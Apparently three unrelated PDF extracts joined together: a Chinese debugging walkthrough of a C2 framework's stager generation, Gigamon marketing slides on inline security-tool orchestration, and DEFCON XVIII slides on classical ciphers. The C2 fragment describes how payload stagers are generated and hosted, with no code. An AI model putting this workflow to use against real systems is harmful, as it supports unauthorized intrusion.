然后通过GetListeners() 获取所有监听器 http,tcp,smb
基于c# async await关键字 异步任务处理,返回结果为 List
然后显示UI
接下来该在哪里下断呢? 当我们点击Generate时 这里使用了WPF Command命令,在
GeneratePayloadCommand.cs Execute()方法下断:
判断OutputType 输出类型后,进入GenerateStager方法
跟进 GenerateStager方法 异步任务,返回结果为byte[] 这里设计的知识点是 Web api. 使用
RestSharp 这个项目(星球之前也分享过) POST方法 请求数据,然后base64解码后返回。(这里理解
为真实生成操作封装在了TeamServer端)
最后判断结果长度是否大于0,进入SaveStager()方法 如果输出类型为powershell 则显示一个
Windows 就跟cs里面的 powershell一样,只不过它host托管到了web 端的文件上,这里直接将结果
显示出来了 | pdf |
© 2018 Gigamon. All rights reserved.
1
可视及赋能
Gigamon助力构建现代网络多层次可视及安全
Gigamon / 英国技盟
技术经理 顾威
180 1600 0621
© 2017-2020 Gigamon Inc. All rights reserved.
1
© 2018 Gigamon. All rights reserved.
2
公司简介
分 支 机 构
20 国家
客 户 行 业
公共服务 | 金融服务
医疗健康 | 零售业
高科技 | 运营商
市 场 地 位
NGNPB
市场开拓及领导者
市场份额第一
专 利
66 世界专利
客 户
3,200 +客户
83% 财富100
雇 员
1000
雇员
C E O
Paul Hooper
创 立
成 立 于
2004
*Feb 2018: Offices, employee and patent information
**Q1 2018: Customer count
五位华人
可 视 化 -网 络 架 构 中 的 重 要 元 素
Gigamon提供对物理,虚拟和云网络的前所未有的可视化,并且被广泛应用。
Gigamon正在引领网络和安全的融合。 我们的解决方案有助于使安全威胁更加容
易被识别,让您更灵活地部署资源并最大化提升工具效能,增加投资回报.
全 面 可 视 灵 活 资 源 部 署 工 具 效 能 最 大 化 投 资 回 报
© 2018 Gigamon. All rights reserved.
3
连续6年网络可视化市场份额全球 #1
IHS Markit: Gigamon is the 2018 Market Share Leader
Source: IHS Markit: Network Monitoring Equipment Annual Market Report, 9 August 2019 by Matthias Machowinski
38% 2019年市场份额
市场份额第一
21% 2018年市场份额
超出排名第二的竞争2倍
”
“•
IHS报告指出,从2013年以来,Gigamon一直保持
市场占有率第一位,2018年Gigamon收入保持平稳,
市场占有率36%,继续领先第二位21%
Get a copy of the IHS report here.
© 2018 Gigamon. All rights reserved.
4
Gigamon中国区部分客户
© 2018 Gigamon. All rights reserved.
5
全新安全架构
- 对安全设备的流量编排
© 2018 Gigamon. All rights reserved.
6
为什么需要下一代互联网出口架构
1.
众多的串联设备,带来众多的故障点
2.
安全设备的升级维护需要中断网络
3.
增加或删除设备需要中断网络
4.
任一设备出现瓶颈可能引起网络中断
5.
出口设备的故障排查非常复杂
6.
高带宽的网络骨干很难部署安全产品
7.
SSL加密流量带来安全产品性能和网络整体
安全性的问题
Si
Si
Si
Si
防火墙1
Switch x 2
入侵防御
器1
WAF1
防火墙2
入侵防御
器2
WAF2
© 2018 Gigamon. All rights reserved.
7
二 层 安 全 设 备 典 型 的 串 接 部 署
痛点
▸ 部署复杂效率低
▸ 单点故障点多
▸ 工具效率低
▸ 缺乏安全部署的灵活性
▸ 故障排查困难
下一代边界安全架构: 串联旁路 (Inline Bypass)
物理定义 vs 软件策略定义 - 安全服务架构
最大限度发挥安全工具的性能
灵活的流量策略
提升安全工具监控效率
简化inline链接架构
在串联链路上增加、移除、维护安全产品更加
简便
减少增加安全工具带来的多故障点
将多安全工具的多点故障变为单一故障点,并
通过硬件bypass来解决
提供串联、并联、监控 一体的解决方案
提供SSL硬件解密
T1
T2
T3
T3
T3
T1
T2
Inline Bypass
T3
T3
T3
© 2018 Gigamon. All rights reserved.
8
应用场景1
串接性能面临挑战
安全工具需要检查所有通过流量
安全工具接口带宽≠线速处理性能
业务促销带来流量瞬间突发
Gigamon 解决方案
对流量进行按工具类型进行编排
不需要的流量不发送至工具
WAF 仅收到基于http类型的应用
性能优化-按工具需求编排流量
云应用
ERP
交易数据
IM
Webex
SQL
远程办公
Web
视频会议
Zoom
统一通信
邮件办公
© 2018 Gigamon. All rights reserved.
9
Traffic flows
Inbound
Outbound
DDoS
IPS
ATP
WAF
Forensic
Recorder
VPN
Web
Other
VPN
Web
Other
业务逻辑 Inline安全工具服务链
性能优化 – 服务链编排 物尽其用
© 2018 Gigamon. All rights reserved.
10
应用场景 2
串接设备扩容面临的挑战
单台设备性能不足,需要扩展性能
设备扩展至更高的型号成本过高
无弹性可横向扩展部署架构
Gigamon 解决方案
可以在线实时按需扩展
无需中断网络即可提升性能
无需产品执行HA或集群
无需同品牌,可以异构并存,构建安全产品资源池
性能优化 - 横向弹性扩展,安全资源池
IPS
WAF
AV
OOB
ATP
ATP
ATP
ATP
ATP安全资源池
© 2018 Gigamon. All rights reserved.
11
Case1 – 痛点
客户痛点:
1. 客户有数个区域网络升级, 需要新部署WAF/IPS, 每个区域的主干捆绑链路有多条线路, 最多的存在12条线路,
因此在安全设备接口和投入数量压力非常大;
2. 客户网络线路经过带宽升级, 1Gb/10Gb/40Gb接口并存, 旧有设备的接口同现有线路接口不兼容, 造成资产浪费;
3. 客户网络线路经过带宽升级, 线路以高带宽为主, 如安全设备适配高带宽接口则安全设备单台的配置极高, 安
全设备投入巨大;
4. 客户网络架构复杂, 应用繁杂, 因此在安全策略调试工作繁复, 往往牵一发而动全身, 导致业务中断;
© 2018 Gigamon. All rights reserved.
12
Case1 – 方案
加密流量
解密流量
汇聚交换机
防火墙
IPS
IPS
出口防火墙
汇聚交换机
防火墙
IPS资源池
出口防火墙
Active
Standby
Active
Standby
IPS
WAF
DLP
IPS
WAF
DLP
IPS
© 2018 Gigamon. All rights reserved.
13
Case1 – 效果
针对安全节点的现状, 改变目前行业内安全设备糖葫芦串的部署架构, 降低安全设备部署的复杂性,解决
IT信息孤岛的问题并加速技术方案的部署.
最终实现让安全工具更高效, 同时网络安全生态系统更具弹性、更敏捷、更安全.
1. 减少故障节点, 减少了网络中断时间,故障设备上流量自动hash分摊给池内其他设备, 避免了不必要的业务
中断;
2. 维护便捷,简化Inline安全设备架构, 对IPS/WAF进行维护、排障、升级等操作时,亦或者增加、移除设备,
不中断业务流量;
3. 安全设备弹性扩展, 原有设备利旧: 在无需安全工具配合的情况下, 创建资源池, 在多个工具之间分配流量
负载; 甚至让多条线路共享安全资源池的能力;
4. 保护投资, 预算可控: 通过智能的服务链编排, 让安全工具只处理它需要处理的流量, 不需要安全工具处理
或者检查的流量绕过它, 节省安全性能无谓的开销;
5. 可将WAF/IPS前后的流量进行镜像, 配合NPM实现互联网出口侧监控. 安全策略异常的排障更便捷.
© 2018 Gigamon. All rights reserved.
14
需求场景 3
串接设备添加新设备面临的挑战
新产品选型测试周期长
设备上线需要断网
设备上线需要调整网络环境
设备上线需要策略适配
Gigamon 解决方案
产品选型可以同时进行,同一时间,同样流量
可以在线实时按需扩展
无需中断网络即可提升性能
无需产品执行HA或集群
无需同品牌,可以异构并存
性能优化 - 纵向弹性扩展
NGFW
IPS
WAF
ATP
Router
Switch
只需检查
web
特定应用
全流量
IPS
WAF
AV
OOB
ATP
ATP
ATP
ATP
新增安全工具
AV
© 2018 Gigamon. All rights reserved.
15
应用场景 4
网络链路变化
新增线路
线路从1G升级到10G
需要升级原有安全工具
Gigamon 解决方案
新增链路仅需要在Gigammon串接解决方案中添加链路
链路由1G升级至10G,原有工具依然可以通过Gigamon串
接解决方案进行部署,保护投资
全部升级工具预算超出项目预期,可以通过Gigamon解决
方案进行平滑逐步扩容
线路扩容 - 保护投资
NGFW
IPS
WAF
ATP
Router
Switch
只需检查
web
特定应用
全流量
IPS
WAF
AV
OOB
ATP
ATP
ATP
ATP
© 2018 Gigamon. All rights reserved.
16
应用场景5
一次解密,多次使用
加密流量
解密流量
客户端
互联网服务器
企业服务器
客户端
APT
防护
IPS
网络审计
病毒扫描
带内
安全工具
旁路
安全工具
网关设备
互联网
串接链路盲点:
▸ 对不断增长的SSL/TLS流量缺乏可视性和
控制会导致盲点
▸ 无法检查用于C2通信使用SSL/TLS加密的
恶意软件
▸ 现有工具中的SSL/TLS解密导致性能下降
Gigamon 解决方案:
▸ 用于解密入站和出站TLS会话的TLS解密模块
▸ 集中式SSL/TLS解密,一次解密可以给多种工
具使用
▸ 从其他工具中卸载昂贵的SSL/TLS处理
▸ 为带外工具提供SSL/TLS加密流量的可见性
▸ 集成URL分类以保护数据隐私
▸ 安全流量可直接通过,提高性能
安全流量
直接通过
普通流量直接转发
© 2018 Gigamon. All rights reserved.
17
Case2 – 痛点
客户痛点:
1. 客户的app/应用在LAN内也为端到端加密, 所有串联的安全设备(WAF/IPS)都需要具有加解密功能, 获取明文流
量才能够正常工作, 因此需要在解密许可做投入;
2. 安全设备增加了解密许可后, 由于解密极耗性能, 安全分析处理能力大打折扣, 无法满足业务安全需要;
3. 客户新机房主干链路设计为100Gb, 如选择对标端口的安全设备, 安全设备的配置极高, 单次投入极大;
4. 客户主要为toC业务, 随业务发展业务流量波动和增长极大, 传统安全节点架构无法灵活横向扩展安全性能;
5. 安全设备的异常, 直接影响并导致业务的中断;
© 2018 Gigamon. All rights reserved.
18
API
GigaVUE-HC3
GigaVUE-FM
F5 LTM
NGFW
WAF
资源池
IPS
资源池
管理地址
ip可达
Share service
F5
加密流量
解密流量
镜像流量
Case2 - 方案
采用我司Inline SSL方案, 实现以下需求:
l
多线路共享安全设备
l
安全设备资源池化, 并可横向弹性扩展
l
安全设备间松耦合
l
安全设备切换, 纵向增加节点不影响业务
l
不同业务流量自定义安全服务链编排
l
SSL可视化编排, 加密&在加密
l
对加密/明文流量, 实现灵活镜像
l
带物理硬件bypass, 减少故障节点
l
便于故障诊断, 协调分析
100Gb link
10Gb link
© 2018 Gigamon. All rights reserved.
19
Case2 – 效果
•
国内Inline案例及客户数最多, 得到多方认可
•
所有功能“ALL in ONE”(inline, 资源池, 服务链编排, 加解密, 流量镜像等), 架构简洁, 易于维护.
•
设备接口密度高, 并可选型扩展
•
可接入更多安全工具, 旁路分析设备
•
避免引入其他二层交换机来扩展接口接入能力, 减少非必要线路及故障节点
•
设备自身集成硬件bypass接口
•
设备硬件 & 系统软件皆为原厂设计/开发/生产, 一套平台, 质量有保障
•
避免引入第三方硬件bypass盒子, 减少故障节点
•
安全资源池支持数量
•
最多可有16台设备组成资源池, 未来弹性扩展能力上限高
•
对安全设备状态监测机制健全
•
具有正向&反向心跳包, 可同各种普通接口或带硬件bypass接口安全设备对接, 适合各种场景
•
具有故障设备恢复机制, 避免异常设备状态反复切换, 引起业务中断
•
对加密/明文流量支持流量镜像
•
流量镜像功能丰富, 性能可靠
•
Gigamon为流量可视化领域的创造者, 连续多年行业第一
© 2018 Gigamon. All rights reserved.
20
安全服务链环节
当安全服务链中某一环节出现故障(可能是单台设备, 或整个资源池), 该节点自动bypass
安全服务链: client -- ① -- ② -- ③ -- Server
当安全服务链中的单个节点出现故障时, 能够将该节点
自动进行bypass, 而该服务链中的其他节点依旧按次序提供
安全服务.
此外, 也可通过服务链策略, 设置当其中一个节点出现
故障时, 将整个服务链disable, 或将主干链路接口down(促
使客户网络切换到standby线路) 等操作.
该切换时间基于具体设备的心跳包机制时间.
①
②
③
© 2018 Gigamon. All rights reserved.
21
安全工具的冗余和弹性扩展
1+1 N+1 冗余及N 负载分担
工具1+1 主备
主设备故障,流量绕经备用设备
主备设备同时故障,流量直接通过
工具恢复模式可定义为手工或自动
工具N+1 主备
N活动的任一工具失效,其流量绕经备用设备
工具失效保护负载分担
可自动将失效工具旁路
降低安全工具失效带来的业务影响
工具1:1, N:1, N 分担(可基于权重)
流量分担在多组同功能的工具
安全功能灵活可扩展性
基于硬件的线速工具资源负载均衡
可基于权重以适应不同性能的工具
上下行相同会话流量由同一安全工具处理
避免在单个工具上会话不同步导致业务阻断
工具失效时,流量被重新分配到剩余的工具。
当多工具失效时,可以定义流量绕过剩余的工具直通
以避免性能瓶颈
Standby
Active
N+1 冗余模
式
加权hash模
式
© 2018 Gigamon. All rights reserved.
22
Gigamon串接旁路高可靠性
物理BYPASS特性
正常工作模式
断电后BYPASS模式
Gigamon设备故障或断电
上下网络链路物理直通
保证Gigamon设备不会成为业务故障点
© 2018 Gigamon. All rights reserved.
23
网络可视化
- TAP镜像网络建设
© 2018 Gigamon. All rights reserved.
24
我们期望的网络应用及安全可视化效果
网络/应用/交易的流量与性能;网络安全检测及防御
© 2018 Gigamon. All rights reserved.
25
远程
站点
私有云
数据
中心
运营商
公有云
用户
合作伙
伴
客户
雇员
客户
Revenue
合作伙伴
未知
各种应用
IP及
终端
IP及
终端
未知
各种应用
未知
网络
数据
用户
安全威胁
工具
数字化不断发展带来管理的窘境
快速发展导致当前的监控体系不可持续-分散的、效率低 无层次
网络设备直接发送流量给工具
工具系统直接从网络中采集流量
部署越来越多的监控工具,无统一
规划。
工具效能低,处理无关数据
不统一的流量采集导致工具的部署
和管理分散独立的信息孤岛。
端口镜像资源本身的限制导致工具
无法取得所需流量。
网络虚拟化应用带来的可视化问题。
完整可视性
“the single source of truth”
© 2018 Gigamon. All rights reserved.
26
局限性——数据过载而能见度有限
IPS/APT/WAF
SIEM
NPM/APM
受 限 的 可 视 化
受 限 的 可 视 化
受 限 的 可 视 化
数据源
物理环境, 虚拟环境, 和云环境
无关数据
无关数据
无关数据
© 2018 Gigamon. All rights reserved.
27
27
Gigamon 可视化网络架构
PERFORMANCE &
SECURITY TOOLS
Gigamon | 可视化 架构
混合基础设施
Cloud
Virtual
Physical
Containers and
Microservices
Mobility
Legacy
Systems
Operational
Technology
ThreatINSIGHT
IPS
FW
NPMD
SIEM
APM
设备 & 应用
© 2018 Gigamon. All rights reserved.
28
28
分析
过滤优化
汇聚
接入
Cloud
Virtual
Physical
Containers and
Microservices
Mobility
Legacy
Systems
Operational
Technology
设备 & 应用
PERFORMANCE &
SECURITY TOOLS
ThreatINSIGHT
IPS
FW
NPMD
SIEM
APM
混合基础设施
Gigamon 可视化网络架构
© 2018 Gigamon. All rights reserved.
29
可视化新层次
Hell
o
数据源
物理环境, 虚拟环境, 和云环境
Hel
lo
Hell
o
He
llo
Hell
o
He
llo
G i g a S E C U R E ® S D P 流 量 可 视 及 安 全 产 品 交 付 平 台
◄ 提升工具效能
14
1
1
仅处理相关数据
IPS/APT/WAF
◄ 提升工具效能
14
1
2
仅处理相关数据
SIEM
◄ 提升工具效能
14
1
3
仅处理相关数据
NPM/APM
© 2018 Gigamon. All rights reserved.
30
全网可视化的目标
复杂的数据中心网络网络结构
§ 两地三中心:双活、灾备中心
§ 多业务区域,多FW、LB设备
§ 多分支机构、外联、三方等
§ 私有云,混合云
网络监测
§ 快速定位网络响应时间
§ 时延分段分析(FW,LB)
§ 丢包、重传、建链、流量异常等监测
§ 广域网容量规划、QoS监测网络监测
应用、业务监测
§ 业务性能指标、响应成功率、响应返回码
§ 交易链路路径、交易渠道
安全、SIEM监测
§ 南北流量,东西流量
§ SIEM 日志信息
© 2018 Gigamon. All rights reserved.
31
分析工具设备集中资源池化
Switch 1
Remote 1
Switch 2
Remote 2
Switch
Central
Switch 3
Remote 3
Switch 4
Remote 4
Monitor Tool
Monitor Tool
Monitor Tool
Monitor Tool
Monitor Tool
Switch 1
Remote 1
Switch 2
Remote 2
Switch
Central
Switch 3
Remote 3
Switch 4
Remote 4
Monitor Tool
工具分散
效率低
无统一全面的分析及管理
扩展困难
集中部署提高了工具设备的使用率
降低运维成本,维护扩展灵活
统一全局的分析
使用Gigamon前
使用Gigamon后
© 2018 Gigamon. All rights reserved.
32
数据去重 截短
GigaVUE® 提供数据包切片/去重等
, 提高工具处理效能,减少工具设备投资
10Gb
VoIP 监控
应用性能管理
网络取证
DLP
网络取证
VoIP
监控
应用性能
管理
DLP
工具效率低
工具需要更大的储存空间,以达到更长的回溯时间
工具需要更强的处理能力
提高工具处理效能
节省储存空间,延长回溯时间
减少工具处理数据量
使用Gigamon前
使用Gigamon后
© 2018 Gigamon. All rights reserved.
33
10 Gbps
基于应用的过滤技术
视频流量占据52%的带宽
来自这些站点的威胁风险极低
提高检测性能
提升工具性能
降低运营成本
减少误判
Use Case: Filtering - Reducing High Volume, Low Risk Traffic
4.8 Gbps
Internal Network
Filter
-Netflix
-YouTube
© 2018 Gigamon. All rights reserved.
34
10 Gbps
基于应用的过滤技术
不同的网络安全产品专注于不同类型的网络流量
需要检查的流量发送至正确的工具
从广泛的流量类别开始
逐步调优关注的重点流量
排除不相干的流量
优化检测性能
提高部署效率
Use Case #2: Focusing - Isolating Relevant Flows
6 Gbps
Internal Network
Web
Email
4 Gbps
IDS
Email
Detection
© 2018 Gigamon. All rights reserved.
35
Application Intelligence 简易测试架构 & AMI设定画面
© 2018 Gigamon. All rights reserved.
36
SIEMs: Correlate and Analyze Log Data
关联和分析日志数据
利用元数据属性来发现鉴别
数据渗透
可疑的远程连接
时间窗分析
高权限用户活动
异常登录活动
HTTP客户端错误
恶意DNS和DHCP服务请求
弱密码
© 2018 Gigamon. All rights reserved.
37
REST APIs
Software-Defined Visibility
Internet
虚拟化, 私有云
SSL
Decryption
NetFlow / IPFIX
Generation
Application
Session Filtering
Adaptive
Packet Filtering
Header
Stripping
APM
Anti-Malware
IDS
DLP
Network Forensics
APT
Centralized Tools
Application Performance
Network Performance
Customer Experience
Security
Monitoring
De-cap VXLAN
Virtual Traffic
VXLAN=6000
SSL Decrypted
NetFlow / IPFIX
TAPs
GigaVUE-VM
Filtered and Sliced Virtual Traffic
NSX APIs, Gigamon Service Insertion
vCenter APIs, Events
vCenter
NSX Manager
GigaVUE-FM
2. Apply “Visibility” Policy
GigaVUE-VM
2. Apply “Visibility” Policy
租户, 应用可视化
© 2018 Gigamon. All rights reserved.
38
集群部署, 体系结构示例
工具分发层
HC/TA系列
汇聚核心层
HC系列
高级功能
GigaVUE-TA10 / 40 / 100 /200
数据中心A
数据中心B
共享安全工具
数据中心互联
4 x 10Gb
扇出
40 / 100Gb
上联
接入层
TA系列
流量采集
© 2018 Gigamon. All rights reserved.
39
q
分层架构:分为接入层、核心层和输出层
q
集群架构:采用半集群架构,核心层和输出层建立集群。
• 三层网络,半集群
– 6*TA10设备独立的流
量接入
– 一台HC2核心,用于
流量高级功能处理,
去重、标签添加与剥
离
– 三台TA10和核心组成
集群,三台TA10设备
分别承载NPM、安全
和BPC工具
某银行数据中心TAP现网架构
© 2018 Gigamon. All rights reserved.
40
数据集中管理
提供集中网络流量可视化解决方案
入侵检测
业务质量监测
业务质量监测
其它流量收集
网络性能监测
入站端口
出站端口
仅仅特定流量被送往各个工
具,这大幅降低了出站流量,
显著提高工具性能
•
Flow Mapping 是入站/出站流量中转分配站
•
Map 操作允许随时增加和删除 Input 端口,对实际操
作提供了最大的便利。
•
结合出站过滤器,能更进一步定位流量。
VOIP
IDS
CEM
WEB
Map Rule
Map Rule
Map Rule
Map Rule
Flow Mapping :
基于背板的过滤引擎
网络性能监测
负载均衡
过滤+复制
互联网
Routers
“Spine”
Switches
“Leaf”
Switches
虚拟机
工具设备群
© 2018 Gigamon. All rights reserved.
41
一次服务多次使用
处理或筛选后的流量可复制给多台
工具设备使用
工具系统效率优化
流量筛选过滤增进效益
提高工具系统投资回报
现有设备可适配网络带宽继续使用
减少部署新系统的投资压力
大幅提升架构稳定性
串接工具或网络变动不会互相影响
SDSN 软件定义网络安全防御
可视安全统一规划
实体网络、虚拟网络、云端网络
可视安全防御统一
Gigamon 流量智能可视化安全平台
© 2018 Gigamon. All rights reserved.
42
Contact Information
Thank You
42 | pdf |
1
© Copyright 2010, National Security Corporation, all rights reserved
DEFCON XVIII
DEFCON XVIII
DEFCON XVIII
Tales from the Crypto
G. Mark Hardy, CISM, CISA, CISSP
National Security Corporation
[email protected]
+1 410.933.9333
@g_mark
© Copyright 2010, National Security Corporation, all rights reserved
2
DEFCON XVIII
DEFCON XVIII
DEFCON XVIII
Which Would You Like to Hear?
• Stories you can look up in the library?
• Ways you can win crypto contests?
© Copyright 2010, National Security Corporation, all rights reserved
3
DEFCON XVIII
DEFCON XVIII
DEFCON XVIII
Stories I Can Tell You
(over a beer… )
• Life or death by crypto
• Military crypto
– Military use before WWII
– Military ciphers of WWII
• American ciphers
• Japanese ciphers
• German ciphers
• Commercial crypto
– Early days of crypto
– Banking security
– eCommerce
© Copyright 2010, National Security Corporation, all rights reserved
4
DEFCON XVIII
DEFCON XVIII
DEFCON XVIII
Some Basics:
Types of Ciphers
• Transposition ciphers
– Also known as permutation ciphers
• Substitution ciphers
– Stream ciphers
– Block ciphers
• Product and exponentiation ciphers
– (advanced; won’t cover here)
© Copyright 2010, National Security Corporation, all rights reserved
5
DEFCON XVIII
DEFCON XVIII
DEFCON XVIII
Transposition Ciphers
1
2
3
4
A
T
T
A
C
K
A
T
D
A
W
N
ATTACK AT DAWN
KEY = {1,2,3,4}
KEY = {2,4,3,1}
ACD TKATAW ATN
TKA ATNTAW ACD
© Copyright 2010, National Security Corporation, all rights reserved
6
DEFCON XVIII
DEFCON XVIII
DEFCON XVIII
Substitution Cipher – Caesar
Cipher
A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
D E F G H I J K L M N O P Q R S T U V W X Y Z A B C
D E F G H I J K L M N O P Q R S T U V W X Y Z
D E F G H I J K L M N O P Q R S T U V W X Y Z
A B C
ATTACK AT DAWN
DWWDFN DW GDZQ
© Copyright 2010, National Security Corporation, all rights reserved
7
DEFCON XVIII
DEFCON XVIII
DEFCON XVIII
Substitution Cipher –
Vigenère Cipher
A B C D E F G H
I
J K L M N O P Q R S T U V W X Y
Z
A B C D E F G H
I
J
K
L M N O P Q R S
T U V W X
Y Z A
B C D E F G H
I
J
K
L M N O P Q R S
T U V W X
Y Z A B
C D E F G H
I
J
K
L M N O P Q R S
T U V W X
Y Z A B C
D E F G H
I
J
K
L M N O P Q R S
T U V W X
Y Z A B C D
E F G H
I
J
K
L M N O P Q R S
T U V W X
Y Z A B C D E
F G H
I
J
K
L M N O P Q R S
T U V W X
Y Z A B C D E F
G H
I
J
K
L M N O P Q R S
T U V W X
Y Z A B C D E F G
H
I
J
K
L M N O P Q R S
T U V W X
Y Z A B C D E F G H
I
J
K
L M N O P Q R S
T U V W X
Y Z A B C D E F G H
I
J
K
L M N O P Q R S
T U V W X
Y Z A B C D E F G H
I
J
K
L M N O P Q R S
T U V W X
Y Z A B C D E F G H
I
J
K
L M N O P Q R S
T U V W X
Y Z A B C D E F G H
I
J
K
L
M N O P Q R S
T U V W X
Y Z A B C D E F G H
I
J
K
L M
N O P Q R S
T U V W X
Y Z A B C D E F G H
I
J
K
L M N
O P Q R S
T U V W X
Y Z A B C D E F G H
I
J
K
L M N O
P Q R S
T U V W X
Y Z A B C D E F G H
I
J
K
L M N O P
Q R S
T U V W X
Y Z A B C D E F G H
I
J
K
L M N O P Q
R S
T U V W X
Y Z A B C D E F G H
I
J
K
L M N O P Q R
S
T U V W X
Y Z A B C D E F G H
I
J
K
L M N O P Q R S
T
U V W X
Y Z A B C D E F G H
I
J
K
L M N O P Q R S
T
U V W X
Y Z A B C D E F G H
I
J
K
L M N O P Q R S
T U
V W X
Y Z A B C D E F G H
I
J
K
L M N O P Q R S
T U V
W X
Y Z A B C D E F G H
I
J
K
L M N O P Q R S
T U V W
X
Y Z A B C D E F G H
I
J
K
L M N O P Q R S
T U V W X
Y
Z A B C D E F G H
I
J
K
L M N O P Q R S
T U V W X
Y
Z A B C D E F G H
I
J
K
L M N O P Q R S
T U V W X
Y Z
A B C D E F G H
I
J K L M N O P Q R S T U V W X Y
Z
A B C D E F G H
I
J
K
L M N O P Q R S
T U V W X
Y Z A
B C D E F G H
I
J
K
L M N O P Q R S
T U V W X
Y Z A B
C D E F G H
I
J
K
L M N O P Q R S
T U V W X
Y Z A B C
D E F G H
I
J
K
L M N O P Q R S
T U V W X
Y Z A B C D
E F G H
I
J
K
L M N O P Q R S
T U V W X
Y Z A B C D E
F G H
I
J
K
L M N O P Q R S
T U V W X
Y Z A B C D E F
G H
I
J
K
L M N O P Q R S
T U V W X
Y Z A B C D E F G
H
I
J
K
L M N O P Q R S
T U V W X
Y Z A B C D E F G H
I
J
K
L M N O P Q R S
T U V W X
Y Z A B C D E F G H
I
J
K
L M N O P Q R S
T U V W X
Y Z A B C D E F G H
I
J
K
L M N O P Q R S
T U V W X
Y Z A B C D E F G H
I
J
K
L M N O P Q R S
T U V W X
Y Z A B C D E F G H
I
J
K
L
M N O P Q R S
T U V W X
Y Z A B C D E F G H
I
J
K
L M
N O P Q R S
T U V W X
Y Z A B C D E F G H
I
J
K
L M N
O P Q R S
T U V W X
Y Z A B C D E F G H
I
J
K
L M N O
P Q R S
T U V W X
Y Z A B C D E F G H
I
J
K
L M N O P
Q R S
T U V W X
Y Z A B C D E F G H
I
J
K
L M N O P Q
R S
T U V W X
Y Z A B C D E F G H
I
J
K
L M N O P Q R
S
T U V W X
Y Z A B C D E F G H
I
J
K
L M N O P Q R S
T
U V W X
Y Z A B C D E F G H
I
J
K
L M N O P Q R S
T
U V W X
Y Z A B C D E F G H
I
J
K
L M N O P Q R S
T U
V W X
Y Z A B C D E F G H
I
J
K
L M N O P Q R S
T U V
W X
Y Z A B C D E F G H
I
J
K
L M N O P Q R S
T U V W
X
Y Z A B C D E F G H
I
J
K
L M N O P Q R S
T U V W X
Y
Z A B C D E F G H
I
J
K
L M N O P Q R S
T U V W X
Y
Z A B C D E F G H
I
J
K
L M N O P Q R S
T U V W X
Y Z
© Copyright 2010, National Security Corporation, all rights reserved
8
DEFCON XVIII
DEFCON XVIII
DEFCON XVIII
Substitution Cipher –
Vigenère Cipher
ATTACK AT DAWN TOMORROW
ATTAC KATDA WNTOM ORROW
PARTY PARTY PARTY PARTY
QULUB ABLXZ MOLIL ESJIV
© Copyright 2010, National Security Corporation, all rights reserved
9
DEFCON XVIII
DEFCON XVIII
DEFCON XVIII
Substitution Cipher – Puzzle
SEND
+ MORE
MONEY
© Copyright 2010, National Security Corporation, all rights reserved
10
DEFCON XVIII
DEFCON XVIII
DEFCON XVIII
Substitution Cipher – Puzzle
1. S + M = MO, so M = 1
3. S + 1 = 10, so S = 9
4. N + R = 1E, E + 1 = N, so R = 8
5. Since E+1 = N, and N + 8 > 11,
E can be 3, 4, or 5.
6. If E=3 or 4, reach dead end; thus
E=5
7. If E=5, then N=6
8. Only remaining values are D=7, Y=2
2. S + 1 = 1O, so O = 0
9567
+ 1085
10652
© Copyright 2010, National Security Corporation, all rights reserved
11
DEFCON XVIII
DEFCON XVIII
DEFCON XVIII
Z
V W X
U
L
I
G
F
B
T
M
S
N
Y
D
P
O
J
R
E
K
C
A
H
Playfair Cipher
• Playfair cipher (what I call the “don’t
cheat” cipher): 3 simple rules
– key “Hacker Jeopardy needs more crypto"
(HACKERJOPDYNSMTBFGILQUVWXZ)
Z
Y
W X
V
U
T
S
R
P
O
M N
L
K
J
I
H
G
F
E
D
C
B
A
© Copyright 2010, National Security Corporation, all rights reserved
12
DEFCON XVIII
DEFCON XVIII
DEFCON XVIII
Z
V W X
U
L
I
G
F
B
T
M
S
N
Y
D
P
O
J
R
E
K
C
A
H
Playfair Cipher
• Encrypt
– Now is the time for all
– NO WI ST HE TI ME FO RA LL
– NO WI ST HE TI ME FO RA LX LX
– SJ XG MY AH ML TK GJ JH IZ IZ
© Copyright 2010, National Security Corporation, all rights reserved
13
DEFCON XVIII
DEFCON XVIII
DEFCON XVIII
Substitution Cipher –
Vernam Cipher or One-Time Pad
• 0 0 = 0
• 0 1 = 1
• 1 0 = 1
• 1 1 = 0
• 0 0 = 0
• 0 1 = 1
• 1 0 = 1
• 1 1 = 0
0 1 1 0 1 1 0 1 1 0 1 0 1 1 0 1
1 0 1 0 0 1 1 0 1 1 0 0 1 0 1 1
1 1 0 0 1 0 1 1 0 1 1 0 0 1 1 0
© Copyright 2010, National Security Corporation, all rights reserved
14
DEFCON XVIII
DEFCON XVIII
DEFCON XVIII
If You Want to Win Crypto
Contests
• You have to think like the guy (or girl)
who develops them
BENEFACTOR
:? :
VN DB:GW TN
ZQ FM:DL YD
RD OC:RV UL
BO NB:JF RK
CB OV:JI LT
MA NM:IM TU
VR MT:ID BP
ED FM:FE YA
CN AT:WG JM
© Copyright 2010, National Security Corporation, all rights reserved
15
DEFCON XVIII
DEFCON XVIII
DEFCON XVIII
SHMOOCON 2008
• Okay, it was just after Mardi Gras
• My wife came home with 50 lbs. of beads
• I didn’t want them kicking around the
house for the next 10 years
• So, I did what any normal person would
do…
• I created a SHMOOCON crypto contest
– Using the beads, of course. :)
© Copyright 2010, National Security Corporation, all rights reserved
16
DEFCON XVIII
DEFCON XVIII
DEFCON XVIII
I Also Have Friends With Too Much
Free Time…
© Copyright 2010, National Security Corporation, all rights reserved
17
DEFCON XVIII
DEFCON XVIII
DEFCON XVIII
SHMOOCON 2008
• So, I placed the following randomly in
registration packets:
– 63 purple bead strings
– 66 gold bead strings
– 69 green bead strings
– 30 pink bead strings
• L0st, Mouse, K, and G Mark wore red bead
strings
– And carried extra strings of red beads
– Thus, anyone wearing red knew the solution
• But those who were competing might not help others…
• We placed copies of the following messages in
other packets:
© Copyright 2010, National Security Corporation, all rights reserved
18
DEFCON XVIII
DEFCON XVIII
DEFCON XVIII
Round 1
• Plaintext
– Congratulations on your opportunity to join
our first Shmoocon crypto conundrum
– Your first task is to find participants with
strings of Mardi Gras colors only
– Warning to you do not show up with
anything pink or you disqualify instantly
– Bring your strings to a man or woman who
has a string that is a color of blood
– And you will obtain an important hint that
will assist in solving a first round
• Notice anything unusual? :)
© Copyright 2010, National Security Corporation, all rights reserved
19
DEFCON XVIII
DEFCON XVIII
DEFCON XVIII
A Lipogram – like Gadsby
A Story of Over 50,000 Words
Without Using the Letter “E”
© Copyright 2010, National Security Corporation, all rights reserved
20
DEFCON XVIII
DEFCON XVIII
DEFCON XVIII
Round 1
